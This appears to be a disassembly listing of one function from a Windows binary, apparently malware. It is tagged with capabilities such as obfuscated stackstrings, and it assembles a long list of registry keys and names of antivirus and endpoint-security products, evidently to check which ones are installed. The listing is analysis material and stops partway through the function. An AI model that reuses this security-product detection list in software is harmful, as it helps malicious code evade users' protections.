Function at 0x406c30
Capabilities:
Contain obfuscated stackstrings
Parse pe header

Disassembly:
push ebx
mov ebx, esp
sub esp, 8
and esp, 0xfffffff8
add esp, 4
push ebp
mov ebp, dword [ebx + 4]
mov dword [esp + 4], ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x4341bf
mov eax, dword fs:[0]
push eax
push ebx
sub esp, 0x170
mov eax, dword [0x44d080]
xor eax, ebp
mov dword [ebp - 0x14], eax
push esi
push edi
push eax
lea eax, [ebp - 0xc]
mov dword fs:[0], eax
mov edi, ecx
mov dword [ebp - 0xbc], edi
xorps xmm0, xmm0
mov dword [ebp - 0x24], 0
movq qword [ebp - 0x2c], xmm0
mov dword [ebp - 0x2c], 0
mov dword [ebp - 0x28], 0
mov dword [ebp - 0x24], 0
mov dword [ebp - 4], 0
movq qword [ebp - 0x20], xmm0
mov dword [ebp - 0x18], 0
mov dword [ebp - 0x20], 0
mov dword [ebp - 0x1c], 0
mov dword [ebp - 0x18], 0
movq qword [ebp - 0x38], xmm0
mov dword [ebp - 0x30], 0
mov dword [ebp - 0x38], 0
mov dword [ebp - 0x34], 0
mov dword [ebp - 0x30], 0
movq qword [ebp - 0x44], xmm0
mov dword [ebp - 0x3c], 0
mov dword [ebp - 0x44], 0
mov dword [ebp - 0x3c], 0
push ecx
xor edx, edx
mov byte [ebp - 4], 3
xor ecx, ecx
call fcn.0040ccd0
mov eax, dword [ebp - 0x2c]
mov edx, dword [ebp - 0x1c]
mov ecx, dword [ebp - 0x20]
mov dword [ebp - 0x28], eax
call fcn.0040ccd0
mov eax, dword [ebp - 0x20]
mov edx, dword [ebp - 0x34]
mov ecx, dword [ebp - 0x38]
mov dword [ebp - 0x1c], eax
call fcn.0040ccd0
mov eax, dword [ebp - 0x38]
xor edx, edx
xor ecx, ecx
mov dword [ebp - 0x34], eax
call fcn.0040ccd0
add esp, 4
mov dword [ebp - 0x40], 0
xor eax, eax
mov dword [ebp - 0x64], 0
lea ecx, [ebp - 0x74]
mov dword [ebp - 0x60], 7
mov word [ebp - 0x74], ax
push 0x1a
push str.SoftwareMicrosoftTestApp
call fcn.0040b840
mov byte [ebp - 4], 4
mov ecx, dword [ebp - 0x1c]
cmp dword [ebp - 0x18], ecx
setne al
test al, al
je 0x406da6
movups xmm0, xmmword [ebp - 0x74]
mov dword [ecx + 0x10], 0
xor eax, eax
mov edx, 7
mov word [ebp - 0x74], ax
movups xmmword [ecx], xmm0
movq xmm0, qword [ebp - 0x64]
movq qword [ecx + 0x10], xmm0
add dword [ebp - 0x1c], 0x18
jmp 0x406db6
lea eax, [ebp - 0x74]
push eax
push ecx
lea ecx, [ebp - 0x20]
call fcn.0040ca30
mov edx, dword [ebp - 0x60]
mov byte [ebp - 4], 3
cmp edx, 8
jb 0x406df1
mov ecx, dword [ebp - 0x74]
lea edx, [edx*2 + 2]
mov eax, ecx
cmp edx, 0x1000
jb 0x406de7
mov ecx, dword [ecx - 4]
add edx, 0x23
sub eax, ecx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x4086b7
push edx
push ecx
call fcn.00419f4a
add esp, 8
push 0x15
xor eax, eax
mov dword [ebp - 0x64], 0
push str.SOFTWAREKasperskyLab
lea ecx, [ebp - 0x74]
mov dword [ebp - 0x60], 7
mov word [ebp - 0x74], ax
call fcn.0040b840
mov byte [ebp - 4], 5
mov eax, dword [ebp - 0x1c]
cmp dword [ebp - 0x18], eax
je 0x406e49
movups xmm0, xmmword [ebp - 0x74]
mov dword [eax + 0x10], 0
mov edx, 7
movups xmmword [eax], xmm0
movq xmm0, qword [ebp - 0x64]
movq qword [eax + 0x10], xmm0
xor eax, eax
add dword [ebp - 0x1c], 0x18
mov word [ebp - 0x74], ax
jmp 0x406e59
lea ecx, [ebp - 0x74]
push ecx
push eax
lea ecx, [ebp - 0x20]
call fcn.0040ca30
mov edx, dword [ebp - 0x60]
mov byte [ebp - 4], 3
cmp edx, 8
jb 0x406e94
mov ecx, dword [ebp - 0x74]
lea edx, [edx*2 + 2]
mov eax, ecx
cmp edx, 0x1000
jb 0x406e8a
mov ecx, dword [ecx - 4]
add edx, 0x23
sub eax, ecx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x4086bc
push edx
push ecx
call fcn.00419f4a
add esp, 8
push 0x18
xor eax, eax
mov dword [ebp - 0x64], 0
push str.SoftwareAviraAntivirus
lea ecx, [ebp - 0x74]
mov dword [ebp - 0x60], 7
mov word [ebp - 0x74], ax
call fcn.0040b840
mov byte [ebp - 4], 6
mov eax, dword [ebp - 0x1c]
cmp dword [ebp - 0x18], eax
je 0x406eec
movups xmm0, xmmword [ebp - 0x74]
mov dword [eax + 0x10], 0
mov edx, 7
movups xmmword [eax], xmm0
movq xmm0, qword [ebp - 0x64]
movq qword [eax + 0x10], xmm0
xor eax, eax
add dword [ebp - 0x1c], 0x18
mov word [ebp - 0x74], ax
jmp 0x406efc
lea ecx, [ebp - 0x74]
push ecx
push eax
lea ecx, [ebp - 0x20]
call fcn.0040ca30
mov edx, dword [ebp - 0x60]
mov byte [ebp - 4], 3
cmp edx, 8
jb 0x406f37
mov ecx, dword [ebp - 0x74]
lea edx, [edx*2 + 2]
mov eax, ecx
cmp edx, 0x1000
jb 0x406f2d
mov ecx, dword [ecx - 4]
add edx, 0x23
sub eax, ecx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x4086c1
push edx
push ecx
call fcn.00419f4a
add esp, 8
push 0x1c
xor eax, eax
mov dword [ebp - 0x64], 0
push str.SoftwareG_DataAntiVirenKit
lea ecx, [ebp - 0x74]
mov dword [ebp - 0x60], 7
mov word [ebp - 0x74], ax
call fcn.0040b840
mov byte [ebp - 4], 7
mov eax, dword [ebp - 0x1c]
cmp dword [ebp - 0x18], eax
je 0x406f8f
movups xmm0, xmmword [ebp - 0x74]
mov dword [eax + 0x10], 0
mov edx, 7
movups xmmword [eax], xmm0
movq xmm0, qword [ebp - 0x64]
movq qword [eax + 0x10], xmm0
xor eax, eax
add dword [ebp - 0x1c], 0x18
mov word [ebp - 0x74], ax
jmp 0x406f9f
lea ecx, [ebp - 0x74]
push ecx
push eax
lea ecx, [ebp - 0x20]
call fcn.0040ca30
mov edx, dword [ebp - 0x60]
mov byte [ebp - 4], 3
cmp edx, 8
jb 0x406fda
mov ecx, dword [ebp - 0x74]
lea edx, [edx*2 + 2]
mov eax, ecx
cmp edx, 0x1000
jb 0x406fd0
mov ecx, dword [ecx - 4]
add edx, 0x23
sub eax, ecx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x4086c6
push edx
push ecx
call fcn.00419f4a
add esp, 8
push 0xf
xor eax, eax
mov dword [ebp - 0x64], 0
push str.SoftwareSophos
lea ecx, [ebp - 0x74]
mov dword [ebp - 0x60], 7
mov word [ebp - 0x74], ax
call fcn.0040b840
mov byte [ebp - 4], 8
mov eax, dword [ebp - 0x1c]
cmp dword [ebp - 0x18], eax
je 0x407032
movups xmm0, xmmword [ebp - 0x74]
mov dword [eax + 0x10], 0
mov edx, 7
movups xmmword [eax], xmm0
movq xmm0, qword [ebp - 0x64]
movq qword [eax + 0x10], xmm0
xor eax, eax
add dword [ebp - 0x1c], 0x18
mov word [ebp - 0x74], ax
jmp 0x407042
lea ecx, [ebp - 0x74]
push ecx
push eax
lea ecx, [ebp - 0x20]
call fcn.0040ca30
mov edx, dword [ebp - 0x60]
mov byte [ebp - 4], 3
cmp edx, 8
jb 0x40707d
mov ecx, dword [ebp - 0x74]
lea edx, [edx*2 + 2]
mov eax, ecx
cmp edx, 0x1000
jb 0x407073
mov ecx, dword [ecx - 4]
add edx, 0x23
sub eax, ecx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x4086cb
push edx
push ecx
call fcn.00419f4a
add esp, 8
push 0x21
xor eax, eax
mov dword [ebp - 0x64], 0
push str.SoftwareMcAfeeDesktopProtection
lea ecx, [ebp - 0x74]
mov dword [ebp - 0x60], 7
mov word [ebp - 0x74], ax
call fcn.0040b840
mov byte [ebp - 4], 9
mov eax, dword [ebp - 0x1c]
cmp dword [ebp - 0x18], eax
je 0x4070d5
movups xmm0, xmmword [ebp - 0x74]
mov dword [eax + 0x10], 0
mov edx, 7
movups xmmword [eax], xmm0
movq xmm0, qword [ebp - 0x64]
movq qword [eax + 0x10], xmm0
xor eax, eax
add dword [ebp - 0x1c], 0x18
mov word [ebp - 0x74], ax
jmp 0x4070e5
lea ecx, [ebp - 0x74]
push ecx
push eax
lea ecx, [ebp - 0x20]
call fcn.0040ca30
mov edx, dword [ebp - 0x60]
mov byte [ebp - 4], 3
cmp edx, 8
jb 0x407120
mov ecx, dword [ebp - 0x74]
lea edx, [edx*2 + 2]
mov eax, ecx
cmp edx, 0x1000
jb 0x407116
mov ecx, dword [ecx - 4]
add edx, 0x23
sub eax, ecx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x4086d0
push edx
push ecx
call fcn.00419f4a
add esp, 8
push 0x10
xor eax, eax
mov dword [ebp - 0x64], 0
push str.SoftwareArcaBit
lea ecx, [ebp - 0x74]
mov dword [ebp - 0x60], 7
mov word [ebp - 0x74], ax
call fcn.0040b840
mov byte [ebp - 4], 0xa
mov eax, dword [ebp - 0x1c]
cmp dword [ebp - 0x18], eax
je 0x407178
movups xmm0, xmmword [ebp - 0x74]
mov dword [eax + 0x10], 0
mov edx, 7
movups xmmword [eax], xmm0
movq xmm0, qword [ebp - 0x64]
movq qword [eax + 0x10], xmm0
xor eax, eax
add dword [ebp - 0x1c], 0x18
mov word [ebp - 0x74], ax
jmp 0x407188
lea ecx, [ebp - 0x74]
push ecx
push eax
lea ecx, [ebp - 0x20]
call fcn.0040ca30
mov edx, dword [ebp - 0x60]
mov byte [ebp - 4], 3
cmp edx, 8
jb 0x4071c3
mov ecx, dword [ebp - 0x74]
lea edx, [edx*2 + 2]
mov eax, ecx
cmp edx, 0x1000
jb 0x4071b9
mov ecx, dword [ecx - 4]
add edx, 0x23
sub eax, ecx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x4086d5
push edx
push ecx
call fcn.00419f4a
add esp, 8
push 0x15
xor eax, eax
mov dword [ebp - 0x64], 0
push str.SoftwareVba32Loader
lea ecx, [ebp - 0x74]
mov dword [ebp - 0x60], 7
mov word [ebp - 0x74], ax
call fcn.0040b840
mov byte [ebp - 4], 0xb
mov eax, dword [ebp - 0x1c]
cmp dword [ebp - 0x18], eax
je 0x40721b
movups xmm0, xmmword [ebp - 0x74]
mov dword [eax + 0x10], 0
mov edx, 7
movups xmmword [eax], xmm0
movq xmm0, qword [ebp - 0x64]
movq qword [eax + 0x10], xmm0
xor eax, eax
add dword [ebp - 0x1c], 0x18
mov word [ebp - 0x74], ax
jmp 0x40722b
lea ecx, [ebp - 0x74]
push ecx
push eax
lea ecx, [ebp - 0x20]
call fcn.0040ca30
mov edx, dword [ebp - 0x60]
mov byte [ebp - 4], 3
cmp edx, 8
jb 0x407266
mov ecx, dword [ebp - 0x74]
lea edx, [edx*2 + 2]
mov eax, ecx
cmp edx, 0x1000
jb 0x40725c
mov ecx, dword [ecx - 4]
add edx, 0x23
sub eax, ecx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x4086da
push edx
push ecx
call fcn.00419f4a
add esp, 8
push 0x1e
xor eax, eax
mov dword [ebp - 0x64], 0
push str.SoftwareBitdefenderQuickScan
lea ecx, [ebp - 0x74]
mov dword [ebp - 0x60], 7
mov word [ebp - 0x74], ax
call fcn.0040b840
mov byte [ebp - 4], 0xc
mov eax, dword [ebp - 0x1c]
cmp dword [ebp - 0x18], eax
je 0x4072be
movups xmm0, xmmword [ebp - 0x74]
mov dword [eax + 0x10], 0
mov edx, 7
movups xmmword [eax], xmm0
movq xmm0, qword [ebp - 0x64]
movq qword [eax + 0x10], xmm0
xor eax, eax
add dword [ebp - 0x1c], 0x18
mov word [ebp - 0x74], ax
jmp 0x4072ce
lea ecx, [ebp - 0x74]
push ecx
push eax
lea ecx, [ebp - 0x20]
call fcn.0040ca30
mov edx, dword [ebp - 0x60]
mov byte [ebp - 4], 3
cmp edx, 8
jb 0x407309
mov ecx, dword [ebp - 0x74]
lea edx, [edx*2 + 2]
mov eax, ecx
cmp edx, 0x1000
jb 0x4072ff
mov ecx, dword [ecx - 4]
add edx, 0x23
sub eax, ecx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x4086df
push edx
push ecx
call fcn.00419f4a
add esp, 8
push 0x1d
xor eax, eax
mov dword [ebp - 0x64], 0
push str.SoftwareTrendMicroUniClient
lea ecx, [ebp - 0x74]
mov dword [ebp - 0x60], 7
mov word [ebp - 0x74], ax
call fcn.0040b840
mov byte [ebp - 4], 0xd
mov eax, dword [ebp - 0x1c]
cmp dword [ebp - 0x18], eax
je 0x407361
movups xmm0, xmmword [ebp - 0x74]
mov dword [eax + 0x10], 0
mov edx, 7
movups xmmword [eax], xmm0
movq xmm0, qword [ebp - 0x64]
movq qword [eax + 0x10], xmm0
xor eax, eax
add dword [ebp - 0x1c], 0x18
mov word [ebp - 0x74], ax
jmp 0x407371
lea ecx, [ebp - 0x74]
push ecx
push eax
lea ecx, [ebp - 0x20]
call fcn.0040ca30
mov edx, dword [ebp - 0x60]
mov byte [ebp - 4], 3
cmp edx, 8
jb 0x4073ac
mov ecx, dword [ebp - 0x74]
lea edx, [edx*2 + 2]
mov eax, ecx
cmp edx, 0x1000
jb 0x4073a2
mov ecx, dword [ecx - 4]
add edx, 0x23
sub eax, ecx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x4086e4
push edx
push ecx
call fcn.00419f4a
add esp, 8
push 0x26
xor eax, eax
mov dword [ebp - 0x64], 0
push str.SoftwareBullGuard_Ltd.BullGuardMain
lea ecx, [ebp - 0x74]
mov dword [ebp - 0x60], 7
mov word [ebp - 0x74], ax
call fcn.0040b840
mov byte [ebp - 4], 0xe
mov eax, dword [ebp - 0x1c]
cmp dword [ebp - 0x18], eax
je 0x407404
movups xmm0, xmmword [ebp - 0x74]
mov dword [eax + 0x10], 0
mov edx, 7
movups xmmword [eax], xmm0
movq xmm0, qword [ebp - 0x64]
movq qword [eax + 0x10], xmm0
xor eax, eax
add dword [ebp - 0x1c], 0x18
mov word [ebp - 0x74], ax
jmp 0x407414
lea ecx, [ebp - 0x74]
push ecx
push eax
lea ecx, [ebp - 0x20]
call fcn.0040ca30
mov edx, dword [ebp - 0x60]
mov byte [ebp - 4], 3
cmp edx, 8
jb 0x40744f
mov ecx, dword [ebp - 0x74]
lea edx, [edx*2 + 2]
mov eax, ecx
cmp edx, 0x1000
jb 0x407445
mov ecx, dword [ecx - 4]
add edx, 0x23
sub eax, ecx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x4086e9
push edx
push ecx
call fcn.00419f4a
add esp, 8
push 0x36
xor eax, eax
mov dword [ebp - 0x64], 0
push str.SoftwareFRISK_SoftwareF___PROT_Antivirus_for_Windows
lea ecx, [ebp - 0x74]
mov dword [ebp - 0x60], 7
mov word [ebp - 0x74], ax
call fcn.0040b840
mov byte [ebp - 4], 0xf
mov eax, dword [ebp - 0x1c]
cmp dword [ebp - 0x18], eax
je 0x4074a7
movups xmm0, xmmword [ebp - 0x74]
mov dword [eax + 0x10], 0
mov edx, 7
movups xmmword [eax], xmm0
movq xmm0, qword [ebp - 0x64]
movq qword [eax + 0x10], xmm0
xor eax, eax
add dword [ebp - 0x1c], 0x18
mov word [ebp - 0x74], ax
jmp 0x4074b7
lea ecx, [ebp - 0x74]
push ecx
push eax
lea ecx, [ebp - 0x20]
call fcn.0040ca30
mov edx, dword [ebp - 0x60]
mov byte [ebp - 4], 3
cmp edx, 8
jb 0x4074f2
mov ecx, dword [ebp - 0x74]
lea edx, [edx*2 + 2]
mov eax, ecx
cmp edx, 0x1000
jb 0x4074e8
mov ecx, dword [ecx - 4]
add edx, 0x23
sub eax, ecx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x4086ee
push edx
push ecx
call fcn.00419f4a
add esp, 8
push 0x25
xor eax, eax
mov dword [ebp - 0x64], 0
push str.SoftwareK7_ComputingK7TotalSecurity
lea ecx, [ebp - 0x74]
mov dword [ebp - 0x60], 7
mov word [ebp - 0x74], ax
call fcn.0040b840
mov byte [ebp - 4], 0x10
mov eax, dword [ebp - 0x1c]
cmp dword [ebp - 0x18], eax
je 0x40754a
movups xmm0, xmmword [ebp - 0x74]
mov dword [eax + 0x10], 0
mov edx, 7
movups xmmword [eax], xmm0
movq xmm0, qword [ebp - 0x64]
movq qword [eax + 0x10], xmm0
xor eax, eax
add dword [ebp - 0x1c], 0x18
mov word [ebp - 0x74], ax
jmp 0x40755a
lea ecx, [ebp - 0x74]
push ecx
push eax
lea ecx, [ebp - 0x20]
call fcn.0040ca30
mov edx, dword [ebp - 0x60]
mov byte [ebp - 4], 3
cmp edx, 8
jb 0x407595
mov ecx, dword [ebp - 0x74]
lea edx, [edx*2 + 2]
mov eax, ecx
cmp edx, 0x1000
jb 0x40758b
mov ecx, dword [ecx - 4]
add edx, 0x23
sub eax, ecx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x4086f3
push edx
push ecx
call fcn.00419f4a
add esp, 8
push 0x1c
xor eax, eax
mov dword [ebp - 0x64], 0
push str.SoftwareMicroWorldeScanIMP
lea ecx, [ebp - 0x74]
mov dword [ebp - 0x60], 7
mov word [ebp - 0x74], ax
call fcn.0040b840
mov byte [ebp - 4], 0x11
lea ecx, [ebp - 0x74]
mov eax, dword [ebp - 0x1c]
push ecx
cmp dword [ebp - 0x18], eax
je 0x4075d5
mov ecx, eax
call fcn.0040b200
add dword [ebp - 0x1c], 0x18
jmp 0x4075de
push eax
lea ecx, [ebp - 0x20]
call fcn.0040ca30
lea ecx, [ebp - 0x74]
mov byte [ebp - 4], 3
call fcn.004014b0
push str.SoftwareIKARUS_anti.virus
lea ecx, [ebp - 0x74]
call fcn.0040b240
lea eax, [ebp - 0x74]
mov byte [ebp - 4], 0x12
push eax
lea ecx, [ebp - 0x20]
call fcn.0040b0d0
lea ecx, [ebp - 0x74]
mov byte [ebp - 4], 3
call fcn.004014b0
push str.SoftwareJiangminComputerID
lea ecx, [ebp - 0x74]
call fcn.0040b240
lea eax, [ebp - 0x74]
mov byte [ebp - 4], 0x13
push eax
lea ecx, [ebp - 0x20]
call fcn.0040b0d0
lea ecx, [ebp - 0x74]
mov byte [ebp - 4], 3
call fcn.004014b0
push str.SOFTWARENVIDIA_CorporationGlobal_nvUpdate
lea ecx, [ebp - 0x74]
call fcn.0040b240
lea eax, [ebp - 0x74]
mov byte [ebp - 4], 0x14
push eax
lea ecx, [ebp - 0x20]
call fcn.0040b0d0
lea ecx, [ebp - 0x74]
mov byte [ebp - 4], 3
call fcn.004014b0
push str.SOFTWARENVIDIA_CorporationGlobal_nvUpdateGUID
lea ecx, [ebp - 0x74]
call fcn.0040b240
lea eax, [ebp - 0x74]
mov byte [ebp - 4], 0x15
push eax
lea ecx, [ebp - 0x20]
call fcn.0040b0d0
lea ecx, [ebp - 0x74]
mov byte [ebp - 4], 3
call fcn.004014b0
push str.SoftwareFortinetFortiClientinstalled
lea ecx, [ebp - 0x74]
call fcn.0040b240
lea eax, [ebp - 0x74]
mov byte [ebp - 4], 0x16
push eax
lea ecx, [ebp - 0x20]
call fcn.0040b0d0
lea ecx, [ebp - 0x74]
mov byte [ebp - 4], 3
call fcn.004014b0
push str.SOFTWAREVDISharedProduct_Updater
lea ecx, [ebp - 0x74]
call fcn.0040b240
lea eax, [ebp - 0x74]
mov byte [ebp - 4], 0x17
push eax
lea ecx, [ebp - 0x20]
call fcn.0040b0d0
lea ecx, [ebp - 0x74]
mov byte [ebp - 4], 3
call fcn.004014b0
push str.SOFTWAREAVAST_SoftwareAvast
lea ecx, [ebp - 0x74]
call fcn.0040b240
mov byte [ebp - 4], 0x18
lea eax, [ebp - 0x74]
push eax
lea ecx, [ebp - 0x2c]
call fcn.0040b0d0
lea ecx, [ebp - 0x74]
mov byte [ebp - 4], 3
call fcn.004014b0
push str.SOFTWAREESETNOD
lea ecx, [ebp - 0x74]
call fcn.0040b240
lea eax, [ebp - 0x74]
mov byte [ebp - 4], 0x19
push eax
lea ecx, [ebp - 0x2c]
call fcn.0040b0d0
lea ecx, [ebp - 0x74]
mov byte [ebp - 4], 3
call fcn.004014b0
push str.SOFTWAREDoctor_WebInstalledComponents
lea ecx, [ebp - 0x74]
call fcn.0040b240
lea eax, [ebp - 0x74]
mov byte [ebp - 4], 0x1a
push eax
lea ecx, [ebp - 0x2c]
call fcn.0040b0d0
lea ecx, [ebp - 0x74]
mov byte [ebp - 4], 3
call fcn.004014b0
push str.SOFTWAREAVGAV
lea ecx, [ebp - 0x74]
call fcn.0040b240
lea eax, [ebp - 0x74]
mov byte [ebp - 4], 0x1b
push eax
lea ecx, [ebp - 0x2c]
call fcn.0040b0d0
lea ecx, [ebp - 0x74]
mov byte [ebp - 4], 3
call fcn.004014b0
push str.SOFTWAREMicrosoftMicrosoft_Antimalware_SetupStartMenu_Microsoft_Security_Essentials
lea ecx, [ebp - 0x74]
call fcn.0040b240
lea eax, [ebp - 0x74]
mov byte [ebp - 4], 0x1c
push eax
lea ecx, [ebp - 0x2c]
call fcn.0040b0d0
lea ecx, [ebp - 0x74]
mov byte [ebp - 4], 3
call fcn.004014b0
push str.SystemCurrentControlSetServices_avast_Antivirus
lea ecx, [ebp - 0x74]
call fcn.0040b240
lea eax, [ebp - 0x74]
mov byte [ebp - 4], 0x1d
push eax
lea ecx, [ebp - 0x2c]
call fcn.0040b0d0
lea ecx, [ebp - 0x74]
mov byte [ebp - 4], 3
call fcn.004014b0
push str.SOFTWAREAhnLabV3IS80
lea ecx, [ebp - 0x74]
call fcn.0040b240
lea eax, [ebp - 0x74]
mov byte [ebp - 4], 0x1e
push eax
lea ecx, [ebp - 0x2c]
call fcn.0040b0d0
lea ecx, [ebp - 0x74]
mov byte [ebp - 4], 3
call fcn.004014b0
push str.SOFTWARECOMODOCIS
lea ecx, [ebp - 0x74]
call fcn.0040b240
lea eax, [ebp - 0x74]
mov byte [ebp - 4], 0x1f
push eax
lea ecx, [ebp - 0x2c]
call fcn.0040b0d0
lea ecx, [ebp - 0x74]
mov byte [ebp - 4], 3
call fcn.004014b0
push str.SYSTEMControlSetServicesMBAMProtector
lea ecx, [ebp - 0x74]
call fcn.0040b240
lea eax, [ebp - 0x74]
mov byte [ebp - 4], 0x20
push eax
lea ecx, [ebp - 0x2c]
call fcn.0040b0d0
lea ecx, [ebp - 0x74]
mov byte [ebp - 4], 3
call fcn.004014b0
push str.SYSTEMCurrentControlSet_services_a2AntiMalware
lea ecx, [ebp - 0x74]
call fcn.0040b240
lea eax, [ebp - 0x74]
mov byte [ebp - 4], 0x21
push eax
lea ecx, [ebp - 0x2c]
call fcn.0040b0d0
lea ecx, [ebp - 0x74]
mov byte [ebp - 4], 3
call fcn.004014b0
push str.SOFTWAREF___SecureComputer_SecurityDART
lea ecx, [ebp - 0x74]
call fcn.0040b240
lea eax, [ebp - 0x74]
mov byte [ebp - 4], 0x22
push eax
lea ecx, [ebp - 0x2c]
call fcn.0040b0d0
lea ecx, [ebp - 0x74]
mov byte [ebp - 4], 3
call fcn.004014b0
push str.SOFTWAREClamWinVersion
lea ecx, [ebp - 0x74]
call fcn.0040b240
lea eax, [ebp - 0x74]
mov byte [ebp - 4], 0x23
push eax
lea ecx, [ebp - 0x2c]
call fcn.0040b0d0
lea ecx, [ebp - 0x74]
mov byte [ebp - 4], 3
call fcn.004014b0
push str.SOFTWAREMicrosoftWindowsCurrentVersionUninstallgupdate_2.00
lea ecx, [ebp - 0x74]
call fcn.0040b240
lea eax, [ebp - 0x74]
mov byte [ebp - 4], 0x24
push eax
lea ecx, [ebp - 0x2c]
call fcn.0040b0d0
lea ecx, [ebp - 0x74]
mov byte [ebp - 4], 3
call fcn.004014b0
push str.SOFTWAREMicrosoftWindowsCurrentVersionUninstallgupdate_1.00
lea ecx, [ebp - 0x74]
call fcn.0040b240
lea eax, [ebp - 0x74]
mov byte [ebp - 4], 0x25
push eax
lea ecx, [ebp - 0x2c]
call fcn.0040b0d0
lea ecx, [ebp - 0x74]
mov byte [ebp - 4], 3
call fcn.004014b0
push str.SOFTWARENVIDIA_CorporationGlobal_nvUpdateGUID
lea ecx, [ebp - 0x74]
call fcn.0040b240
lea eax, [ebp - 0x74]
mov byte [ebp - 4], 0x26
push eax
lea ecx, [ebp - 0x2c]
call fcn.0040b0d0
lea ecx, [ebp - 0x74]
mov byte [ebp - 4], 3
call fcn.004014b0
push str.SystemCurrentControlSetServicesQHActiveDefense
lea ecx, [ebp - 0x74]
call fcn.0040b240
lea eax, [ebp - 0x74]
mov byte [ebp - 4], 0x27
push eax
lea ecx, [ebp - 0x2c]
call fcn.0040b0d0
lea ecx, [ebp - 0x74]
mov byte [ebp - 4], 3
call fcn.004014b0
push str.SystemCurrentControlSetServicesAVP18.0.0
lea ecx, [ebp - 0x74]
call fcn.0040b240
lea eax, [ebp - 0x74]
mov byte [ebp - 4], 0x28
push eax
lea ecx, [ebp - 0x2c]
call fcn.0040b0d0
lea ecx, [ebp - 0x74]
mov byte [ebp - 4], 3
call fcn.004014b0
push str.SystemCurrentControlSetServicesMcProxy
lea ecx, [ebp - 0x74]
call fcn.0040b240
lea eax, [ebp - 0x74]
mov byte [ebp - 4], 0x29
push eax
lea ecx, [ebp - 0x2c]
call fcn.0040b0d0
lea ecx, [ebp - 0x74]
mov byte [ebp - 4], 3
call fcn.004014b0
push str.SystemCurrentControlSetServicesMcAPExe
lea ecx, [ebp - 0x74]
call fcn.0040b240
lea eax, [ebp - 0x74]
mov byte [ebp - 4], 0x2a
push eax
lea ecx, [ebp - 0x2c]
call fcn.0040b0d0
lea ecx, [ebp - 0x74]
mov byte [ebp - 4], 3
call fcn.004014b0
push str.SystemCurrentControlSetServicesBavSvc
lea ecx, [ebp - 0x74]
call fcn.0040b240
lea eax, [ebp - 0x74]
mov byte [ebp - 4], 0x2b
push eax
lea ecx, [ebp - 0x2c]
call fcn.0040b0d0
lea ecx, [ebp - 0x74]
mov byte [ebp - 4], 3
call fcn.004014b0
push str.SystemCurrentControlSetServicesNSBU
lea ecx, [ebp - 0x74]
call fcn.0040b240
lea eax, [ebp - 0x74]
mov byte [ebp - 4], 0x2c
push eax
lea ecx, [ebp - 0x2c]
call fcn.0040b0d0
lea ecx, [ebp - 0x74]
mov byte [ebp - 4], 3
call fcn.004014b0
push str.SystemCurrentControlSetServicesDrWebAVService
lea ecx, [ebp - 0x74]
call fcn.0040b240
lea eax, [ebp - 0x74]
mov byte [ebp - 4], 0x2d
push eax
lea ecx, [ebp - 0x2c]
call fcn.0040b0d0
lea ecx, [ebp - 0x74]
mov byte [ebp - 4], 3
call fcn.004014b0
push str.SystemCurrentControlSetServicesAntiVirService
lea ecx, [ebp - 0x74]
call fcn.0040b240
lea eax, [ebp - 0x74]
mov byte [ebp - 4], 0x2e
push eax
lea ecx, [ebp - 0x2c]
call fcn.0040b0d0
lea ecx, [ebp - 0x74]
mov byte [ebp - 4], 3
call fcn.004014b0
push str.SoftwareMicrosoftTestApp
lea ecx, [ebp - 0x74]
call fcn.0040b240
lea eax, [ebp - 0x74]
mov byte [ebp - 4], 0x2f
push eax
lea ecx, [ebp - 0x20]
call fcn.0040b0d0
lea ecx, [ebp - 0x74]
mov byte [ebp - 4], 3
call fcn.004014b0
lea esi, [edi + 0xcc]
push str.LavasoftAd___Aware_AntivirusAd___Aware_Antivirus
mov edx, esi
lea ecx, [ebp - 0x74]
call fcn.0040c750
add esp, 4
push eax
lea ecx, [ebp - 0x38]
mov byte [ebp - 4], 0x30
call fcn.0040b0d0
lea ecx, [ebp - 0x74]
mov byte [ebp - 4], 3
call fcn.004014b0
push str.AgnitumOutpost_Antivirus_Pro
mov edx, esi
lea ecx, [ebp - 0x74]
call fcn.0040c750
add esp, 4
push eax
lea ecx, [ebp - 0x38]
mov byte [ebp - 4], 0x31
call fcn.0040b0d0
lea ecx, [ebp - 0x74]
mov byte [ebp - 4], 3
call fcn.004014b0
push str.Solo___Antivirus
mov edx, esi
lea ecx, [ebp - 0x74]
call fcn.0040c750
add esp, 4
push eax
lea ecx, [ebp - 0x38]
mov byte [ebp - 4], 0x32
call fcn.0040b0d0
lea ecx, [ebp - 0x74]
mov byte [ebp - 4], 3
call fcn.004014b0
push str.SymantecSymantec_Endpoint_Protection_Manager
mov edx, esi
lea ecx, [ebp - 0x74]
call fcn.0040c750
add esp, 4
push eax
lea ecx, [ebp - 0x38]
mov byte [ebp - 4], 0x33
call fcn.0040b0d0
lea ecx, [ebp - 0x74]
mov byte [ebp - 4], 3
call fcn.004014b0
push str.Filseclab___Twister___AntiVirus___V7
mov edx, esi
lea ecx, [ebp - 0x74]
call fcn.0040c750
add esp, 4
push eax
lea ecx, [ebp - 0x38]
mov byte [ebp - 4], 0x34
call fcn.0040b0d0
lea ecx, [ebp - 0x74]
mov byte [ebp - 4], 3
call fcn.004014b0
push str.VIPRE
mov edx, esi
lea ecx, [ebp - 0x74]
call fcn.0040c750
add esp, 4
push eax
lea ecx, [ebp - 0x38]
mov byte [ebp - 4], 0x35
call fcn.0040b0d0
lea ecx, [ebp - 0x74]
mov byte [ebp - 4], 3
call fcn.004014b0
push str.VirIT___eXplorer___Lite
mov edx, esi
lea ecx, [ebp - 0x74]
call fcn.0040c750
add esp, 4
push eax
lea ecx, [ebp - 0x38]
mov byte [ebp - 4], 0x36
call fcn.0040b0d0
lea ecx, [ebp - 0x74]
mov byte [ebp - 4], 3
call fcn.004014b0
push str.TG_Soft
mov edx, esi
lea ecx, [ebp - 0xd4]
call fcn.0040c750
